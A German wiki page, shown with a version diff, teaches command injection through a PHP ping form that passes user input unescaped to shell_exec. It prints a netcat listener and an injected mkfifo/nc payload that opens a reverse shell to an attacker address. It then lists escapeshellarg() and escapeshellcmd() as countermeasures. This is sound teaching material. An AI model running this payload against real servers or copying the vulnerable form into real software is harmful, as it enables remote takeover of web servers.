Command Injection Proof of Concept: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
Zeile 3: Zeile 3:
 
*Man hinter die IP Adresse mit einem Semikolon weitere Kommandos anhängen.
 
*Man hinter die IP Adresse mit einem Semikolon weitere Kommandos anhängen.
 
*Diese Kommandos werden dann mit den Rechten des Webservers ausgeführt.
 
*Diese Kommandos werden dann mit den Rechten des Webservers ausgeführt.
*In diesem Fall führen wir eine Remote Shell aus.
+
 
<pre>
 
<!DOCTYPE html>
 
<html>
 
<body>
 
<h2>PING</h2>
 
<form method="post">
 
<label for="fname">IP</label><br> <input type="text" name="ip"><br>
 
<input type="submit" name="submit" value="submit">
 
</form>
 
<br>
 
<?php
 
if(isset($_POST['submit'])) { $ip = $_POST['ip']; $cmd = 'ping -c 4. $ip; $output= shell_exec($cmd); echo "<pre> $output</pre>";
 
} ?>
 
</html>
 
</body>
 
</pre>
 
  
 
[[Datei:Command-injection.png]]
 
[[Datei:Command-injection.png]]

Version vom 29. Juli 2021, 13:02 Uhr

PHP Code

  • Bei dieser Anwendung wird die Eingabe nicht verifiziert.
  • Man hinter die IP Adresse mit einem Semikolon weitere Kommandos anhängen.
  • Diese Kommandos werden dann mit den Rechten des Webservers ausgeführt.


Command-injection.png

Angreifer

  • netcat -lp 8668

Schadcode einbringen

  • 1.1.1.1 ; mkfifo /tmp/backpipe ; /bin/sh 0</tmp/backpipe | nc 10.0.10.101 8668 1>/tmp/backpipe

Command-injetion1.png

Auf dem Angreifer

Command-injetion2.png

Gegenmassnahmen

  • Niemals Daten von Aussen ungeprüft in Anwendungen verwenden.
  • Verwendung von entsprechenden Funktionen der benutzten Programmiersprache / Scriptsprache.
  • PHP-Funktion escapeshellarg() zur Maskierung einer Zeichenkette zur weiteren Verwendung als Shell-Argument:
$cmd = 'ping -c 4 ' . escapeshellarg($ip);
  • Generiertes Kommando bei Verwendung von escapeshellarg() - führt bei der Ausführung zu einem Fehler:
ping -c 4 '1.1.1.1;  ls'
  • PHP-Funktion escapeshellcmd() zur Maskierung von Shell-Metazeichen innerhalb eines Kommandostrings
$output = shell_exec(escapeshellcmd($cmd));
  • Generiertes Kommando bei Verwendung von escapeshellcmd() - führt bei der Ausführung zu einem Fehler:
ping -c 4 1.1.1.1\;  ls
  • Alternativ bzw. zusätzlich eigene entsprechende Prüffunktionen und/oder Escapefunktionen entwickeln.